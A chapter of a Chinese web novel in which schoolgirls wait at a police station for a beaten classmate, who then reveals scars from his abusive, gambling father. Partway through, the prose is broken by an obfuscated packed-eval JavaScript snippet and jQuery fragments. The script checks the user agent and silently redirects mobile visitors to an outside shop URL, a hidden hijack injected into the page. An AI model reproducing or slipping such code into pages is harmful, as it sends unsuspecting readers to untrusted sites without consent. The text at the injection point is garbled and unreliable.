文趣网 > 都市小说 > 安屿思渡 > 17. 旧痂
    除夕的派出所比平日里空落大半,只有几束惨白的顶灯垂下来,光刃似的切过空旷的大厅,落在寥寥几个人的发顶。

    黄思雅和秦韵音并肩站着,指尖都攥得微微发紧,门外卷进来的一缕冷风擦着耳畔掠过去,像根细而凉的丝线,轻轻一扯,就把两个人的心弦都揪了起来。

    好在方才赵奕然伤得不算重,附近巡逻的警察来得也快,没几分钟就把巷子里围堵他的那群社会小青年制住了,连扶带搀地把人送上了警车,一路带回了所里。

    漫长的等待好似浸在冷水里的棉线,一点点抻得让人发沉。

    终于,审讯室那扇厚重的铁门被缓缓推开,赵奕然从里面慢慢走了出来。

    他的脸颊上带着几道清晰的淤青,步子虚浮得像踩在云端上,整个人都在微微发颤。

    黄思雅几乎是立刻冲了过去,伸手稳稳扶住他晃得厉害的胳膊。

    她从前总觉得赵奕然那一头狼尾发打理得精致张扬,每一缕都透着少年不肯安分的锐气,可此刻那堆黑发乱糟糟地塌在头顶,沾着点巷子里的尘土,看着格外狼狈。

    她心口猛地一缩,声音里都带着点压不住的慌乱:

    “赵奕然同学,你没事吧?要不要我们送你去医院看看?”

    赵奕然抬眼,视线先落在黄思雅脸上,又扫过不远处站着的秦韵音,眼里飞快地掠过一丝错愕。

    “你们怎么在这?”

    他的声音有点沙哑,带着点刚从紧绷里脱出来的虚弱。

    秦韵音缓步走上前,目光从他沾了灰的下颌扫到他垂着的手腕,仔仔细细把他露在外面的伤势都打量了一遍,才慢慢开口,语气放得很轻:

    “我们也只是碰巧路过,看见你被他们堵在巷子里,总不能见死不救吧。”

    黄思雅又猛地往前凑了半步,目光落在他被袖子盖住的小臂上,下意识就想伸手掀开看看底下是不是也藏着伤口。

    可胳膊伸到半空中,指尖都快要碰到衣料了,终究还是顿住,慢慢垂了下来。

    “赵奕然同学,你还有没有哪里不舒服?真的不需要去医院看看吗?”

    她又问了一遍,声音里的焦急半点没藏住。

    赵奕然被她看得有点局促,眼神躲躲闪闪地扫了她们俩一眼,抬起手背抹过嘴角那道已经凝了血痂的痕迹,动作带着点硬撑出来的满不在乎。

    “我没事,不用你们操心。”

    话音刚落,他侧过身,擦着两个人的肩膀就往门口走,脚步迈得又急又沉,仿佛多待一秒都受不了。

    可身后审讯室里突然走出来一个警察,声音清亮地叫住了他:

    “嘿,小伙子,你还不能走!你是个未成年人,得联系你的监护人过来签个字,才能把你领走。”

    黄思雅脚步一顿,转头就看见赵奕然的背影像被钉在了原地,连肩膀都僵住了。

    她垂在身侧的手指不自觉地蜷了蜷,指节轻轻抵着掌心,缓步走上前,声音放得很柔:

    “我和韵音姐都带了手机,需不需要我们给你爸爸妈妈打电话?”

    秦韵音回头看了一眼不远处正整理笔录的警察,又把目光落回门口赵奕然的身上,伸手从口袋里掏出手机,掌心朝上递到他面前。

    “是啊,小师弟。你受了这么大的委屈,也该让你父母过来为你主持公道。”

    赵奕然的视线落在她伸过来的那只手上,眼底飞快地掠过一丝冷冽的光,他垂着身子,终究没有抬手去接那台手机。

    见几个人站在门口磨磨蹭蹭半天没动静,刚才说话的那个警察走了过来,语气带着点职业性的催促:

    “小伙子,你听见了吗?你们这事儿属于打架斗殴,虽说你是受害者,可监护人还是必须过来一趟,这是规定。”

    赵奕然猛地抬眼瞪了那警察一下,脸上那点硬撑的平静几乎要碎开,不耐烦和藏不住的窘迫从眉梢眼角往外冒去。

    他深深吸了一口气,胸口剧烈地起伏了一下,宛如把什么难以启齿的东西硬生生挤了出来。

    “我没有监护人,你满意了吗?”

    话音还飘在空气里,他猛地侧身,狠狠推开挡在旁边的黄思雅。

    那股力气大得猝不及防,黄思雅踉跄着往后退了两步,差点直接栽进秦韵音的怀里。

    “诶诶诶,你这孩子怎么回事?”

    警察连忙上前一步拽住他的衣袖,赵奕然挣了两下,那只手像手铐似的扣着,半点没甩开:

    “你总得把情况说明白,该走的流程不能少啊。”

    警察看着他这副浑身是刺、不肯配合的模样,无奈地叹了口气,语气轻了下来:

    “我看你们几个应该都是同学吧?能不能联系到班主任或者任课老师?让他们过来走个过场,把字签了,这事儿也能早点了结。”

    黄思雅连忙举起手,声音里带着点急切的主动:

    “好的,我和他是同班同学,我这就给我们班主任打电话。”

    她说着,抬眼望向赵奕然,恰好撞见他泛红的眼尾,如同被什么东西熏过,又像硬生生憋了太久的情绪浸出来的微红。

    她心里愣了一下,补了句:

    “赵奕然同学,我这就联系姜老师过来,你别乱跑。”

    赵奕然看着她转身走到大厅角落去拨电话,猛地一甩胳膊,把警察抓着他衣袖的手挣开,慢悠悠地走到靠墙的铁椅上坐下。

    那椅子十分冰凉,他把脑袋深深埋进膝盖之间,十根手指插进本就凌乱的头发里胡乱抓了两把,原本就塌着的长发被挠得更乱,整个人像把自己蜷成了一个密不透风的壳。

    后背随着他的呼吸轻轻起伏,好似压着一块千斤重的巨石。

    秦韵音放轻脚步走到他身边,站了好一会儿,才轻声开口:

    “小师弟,你还好吗?那些人为什么要堵你啊?我看你平时虽然张扬了点,也不像是会主动去招惹这种人的模样啊?”

    赵奕然没应声,脑袋依旧埋得很低,连肩膀都没动一下,就像根本没听见她的话,只是安安静静地坐着,整个身影都浸在大厅偏暗的光影里。

    没等多久,派出所的玻璃门被人从外面推开,姜敏踩着高跟鞋急急忙忙地跑了进来。

    除夕的风裹着点外面的寒气扑在她脸上,额头上渗出来的汗珠把脸上的淡妆浸得发花,鞋跟敲在光滑的地板上,发出一串又急又脆的响声。

    她扶着门框大口喘气,胸口剧烈起伏着:

    “怎么了这是?大过年的,怎么还弄到派出所里来了?”

    黄思雅看见她裹着门外暮色的身影,刚要抬脚迎上去解释,就被旁边走过来的警察打断了。

    警察指了指角落里埋着头的赵奕然,对着姜敏开口:

    “你是那男孩的班主任吧?他死活不肯叫自己的父母过来签字,没办法,只好麻烦你跑这一趟了。”

    姜敏的目光越过人群,精准地落在角落里那个缩着的身影上,刚才还急促的呼吸慢慢缓了下来,脸上浮起一层难以言说的难色,有什么话卡在喉咙里,咽不下也吐不出。

    “是,我是他的班主任。那孩子……家里情况有点特殊。”

    她轻声说道,声音里带着点旁人听不懂的无奈。

    警察低头翻了翻手里的笔录资料,侧身做了个引导的手势:

    “行,那你跟我过来签个字,顺便把具体情况再核对一遍。”

    姜敏点了点头,跟着他往走廊深处走去,两个人的身影慢慢被走廊里的灯光吞没,直到彻底消失。

    黄思雅悬了几个小时的心终于轻轻落了地,可一转身看见铁椅上的赵奕然和站在他身边的秦韵音,那点刚沉下去的安心又浮起了一层疑影。

    她缓步走到赵奕然身前,伸出手,轻轻拍了拍他微微弓着的肩膀,布料下的骨头硬得硌手。

    “赵奕然同学,你到底是怎么了?出了这么大的事,怎么你爸妈都不肯出面一下吗?”

    听见她的声音,赵奕然终于慢慢抬起了头,额前乱发垂下来挡着半只眼睛。

    他的嘴唇动了动,像是有很多话要从喉咙里涌出来,可看着面前两双落在他身上满是关切的眼睛,那些话又被什么东西堵了回去,嘴唇开合了好几次,终究一个字都没说出口。

    秦韵音看着他这副为难得快要把自己揉碎的模样,轻轻站起身,对着黄思雅使了个安抚的眼神,开口道:

    “我去看看你们班主任那边有没有什么需要帮忙的,我今年毕竟已经成年了,很多手续办起来也方便一点。”

    随着秦韵音的脚步声在走廊尽头彻底淡下去,周遭一下子静了下来,只剩下两个人轻轻的呼吸声,在空旷的大厅里慢慢散开。

    黄思雅从口袋里摸出一包还带着体温的纸巾,指尖捏着包装袋的边角,轻轻放到赵奕然身侧的铁椅上,动作轻得怕再惊到他。

    “擦擦吧,赵奕然同学。”

    她的声音放得很柔,宛若落在雪上的碎光。

    “按理说那些混社会的小青年,你不去主动招惹,他们一般也不会平白无故地为难别人吧?”

    赵奕然的目光扫过那包印着浅蓝花纹的纸巾,指尖动了动,终究没有伸手去接,只是重新把脑袋埋回了蜷起的膝盖之间,连肩线都绷得发紧,把所有没说出口的东西都锁进了那片阴影里。

    黄思雅看着他这副把话都堵在喉咙的模样,嘴角轻轻弯了弯,没半点催促的意思:

    “罢了,你要是不想说就不说。只是你一向喜欢弹吉他,这次该没伤着你按弦的手吧?”

    听见“吉他”两个字,赵奕然埋着的头终于动了动,他缓缓抬起脸,侧眼瞟了黄思雅一下,沉默着把垂在身侧的袖子慢慢撸了上去。

    一截线条利落的小臂露了出来,新添的伤痕泛着鲜艳的血红,在苍白的灯光下格外扎眼。

    可往上看去,靠近上臂的地方,还叠着许多的旧疤,是被年月浸得发暗的紫,深深烙在了皮肤上。

    黄思雅的心猛地一紧,像被什么狠狠攥了一下,眼睛里的惊讶藏都藏不住,连声音都跟着发颤:

    “这……这些旧伤,也是那些人弄的?”

    赵奕然撞进她眼底那点没掩饰住的惊惶里,忽然低笑了一声,那笑里半分暖意都没有。

    他没说话,只是抬手掀开身上不算厚的上衣,线条分明的脊背上,横横竖竖爬满了交错的鞭痕,新伤叠着旧疤,如同一张密网,把他本该舒展的后背缠得密不透风。

    黄思雅瞬间语塞,喉咙里再也吐不出一句话。

    她从来没想过,这个坐在自己身边、上课总转着笔摆出漫不经心的桀骜、平时总皱着眉摆出一副生人勿近的凶态、连发脾气都带着点急哄哄的男生,身上竟然藏着这么多非人的折磨。

    那些她从前只在小说里见过的苦难,居然这样真切地爬满了眼前人的皮肤。

    赵奕然像是早就习惯了这样的目光,他抬手把衣服和袖子慢慢拉下来,一把将额前沾了点巷子里水泥灰的乱发掀到脑后,语气里裹着一层苦涩的自嘲:

    “我爸是个赌鬼,喝醉了就发酒疯动手打人,这些疤痕,都是我从小到大在他手底下熬过来的证明。”

    话音刚落,他的声音猛地发紧,泛起一阵压不住的哽咽。

    这个长到这么大、从来不肯在外人面前露半分怯的男生,此刻眼尾红得发烫,一颗泪珠没忍住,顺着脸颊的轮廓往下滑去。

    “我妈在我很小的时候就丢下我跟别人跑了,到现在,我连她长什么样子都快记不清了。”

    黄思雅看见那滴泪珠顺着他下颌的线条往下坠去,连忙把刚才放在椅上的纸巾又往他身前推了推,指尖几乎要碰到他的手背。

    “所以……你才会和那些人有纠葛,对不对?”

    赵奕然偏头躲开她递过来的纸巾,抬起胳膊,一把用袖子抹过脸上那两行清泪,布料蹭得皮肤发红

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792586|210443||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,他却半点都感觉不到疼。

    “我以前还跟着我爷爷奶奶生活过一段时间,我这手吉他也是在那段日子里学的,可后来他们俩也先后走了。”

    他清了清发酸的嗓子,声音里带着点飘着的疲惫:

    “我得养活自己,还得应付那个男人三天两头地伸手要钱……”

    他顿了顿,嘴角扯出一点难堪的弧度,像在把最不愿示人的那部分往外掏去:

    “说到底我还没成年,找不到什么正经工作,没办法才……”

    黄思雅看着他耳尖都泛起来的窘迫,脸上没有半分居高临下的怜悯:

    “要不你到我们奶茶店来做兼职吧?店长人特别好,我和韵音姐也都是未成年,他照样把我们留下了,一个月至少能赚一两千,省着点花,足够你过日子了。”

    可她话音刚落,赵奕然却忽然勾起嘴角,那点刚软下来的刺又重新竖了起来,语气硬得像块石头:

    “用不着你可怜我。”

    “可是……”

    黄思雅还想再劝两句,眼角余光忽然瞥见走廊尽头,姜敏和秦韵音的身影正慢慢往这边走过来。

    姜敏快步走到两人跟前,俯下身,目光仔细地扫过赵奕然露在外面的伤口,眉头皱得紧紧的:

    “赵奕然,你现在感觉怎么样?要不要老师送你回家,或者直接去医院?”

    “麻烦老师了,我自己回去就行。”

    赵奕然几乎是立刻就站了起来,可刚直起腰,身上那股钻心的疼猛地窜上来,他腿一软,瞬间又弯下腰去,额角都渗出了点冷汗。

    “还说没事,你这都疼成什么样了,必须去医院看看。”

    黄思雅连忙上前一步想扶他,可赵奕然却像被什么尖锐的东西刺到了似的,猛地往旁边弹开半尺,连碰都不让她碰一下。

    “真不用,再说去一趟医院,我好不容易攒的那点钱就全没了。”

    他的声音里带着点藏不住的窘迫,指尖下意识地攥紧了衣服下摆。

    “这都什么时候了,钱哪有身体重要?”

    姜敏往前跨了一步,刚好挡在他往门口走的路上,语气里带着点不容拒绝的力道:

    “实在不行,医药费老师帮你想办法,你这要是出了点什么问题,我这个当班主任的,也没法和学校交代啊。”

    秦韵音也走过来,脸上的同情没半点掩饰,声音放得很温和:

    “就是啊,小师弟。现在你的健康才是最要紧的,钱的事我们以后慢慢再说,不急这一时。”

    赵奕然看着她们三双眼睛里明明白白的关心,没有半分假意,也没有半分施舍的意味,他的喉结狠狠滚了一下,到了嘴边的话又被那点刻进骨子里的自尊堵了回去,最后只憋出来一句:

    “我早就习惯了,不麻烦你们。”

    他侧身想绕开她们往门外走,姜敏却猛地伸手抓住了他的衣角,指尖攥得很紧:

    “赵奕然,这身体是你自己的,你就这样作践它吗?”

    赵奕然被她拽得顿住脚步,低头看着地板上自己的影子,忽然冷笑了一声,那笑声轻得发飘,裹着点自暴自弃:

    “作践?这世上谁都能作践我,也不差我自己一个。”

    “我不许你胡说。”

    姜敏的声音陡然沉了几分,语气里带着点恨铁不成钢:

    “人贵自重,你要是连自己都看不起自己,又能指望谁来把你当回事?”

    她手上用了点劲,把人往回轻轻拉了半步,语气又柔下来:

    “要不这样,医药费你有多少就付多少,剩下不够的老师先给你垫上,就算是借给你的,等你以后赚了钱,一笔一笔地慢慢还,总可以了吧?”

    赵奕然还是摇着头,硬邦邦地开口:

    “就是些擦伤,没什么了不起的,用不着去医院。”

    “既然只是些擦伤,那医药费肯定也贵不到哪里去。”

    黄思雅慢慢走上前,抬手把耳边垂下来的碎发别到耳后,目光定定地落在他脸上,语气里带着点小小的狡黠:

    “说不定你自己口袋里的钱就完全付得起——如果是这样,你还不愿意去吗?”

    赵奕然的眼底飞快地闪过一丝犹豫,抬眼看见她们三个人站在自己面前,一副今天说什么都不会放他一个人走的模样,终于无奈地摆了摆手,那点硬撑的劲儿彻底泄了:

    “行吧行吧,拗不过你们,我看今晚要是不答应,咱们谁也别想从这派出所里走出去了。”

    听见他松口,姜敏终于长长地舒了一口气。

    她扶着赵奕然慢慢坐进停在门口的白色小轿车,转身对着黄思雅和秦韵音挥了挥手:

    “我送他去医院就行,你们俩赶紧回家,今天是除夕夜,别错过了和家人吃年夜饭的时间。”

    黄思雅对着姜敏道了声别,直到那辆小轿车拐过街角,彻底消失在远处的路灯尽头,她悬了整整半天的心才完完全全落回了实处。

    秦韵音的脚步声轻得像落在草叶上的晚风,悄悄绕到黄思雅身侧时,连衣袂擦过空气的声响都放得极淡。

    她没有贸然打断那片浸在暮色里的沉默,只等风卷着远处的梅香掠过去,才把声音轻轻递到对方耳边:

    “都折腾一整夜了,早些回去歇着吧。”

    黄思雅的目光还凝在汽车尾灯最后一点橘红融进夜雾的地方,她过了很久才轻轻叹出一口气:

    “从前我只当赵奕然是个心浮气盛的人,总裹着一层冷硬的外壳,不肯让人靠近半分。直到今天才终于看清,那不过是他裹着的满身碎痕,底下藏着的,原来是一颗早就千疮百孔的心。”

    暮色早已如同浸了墨的潮水,从天际线漫过来,悄无声息地铺满了整片夜空。

    路边的街灯渐渐亮起,把暖金的光泼在地上,将两道并肩的身影拉得又细又长,像两枝被风牵住的芦苇,安安静静地,一直探向他们刚才驾车离去的方向。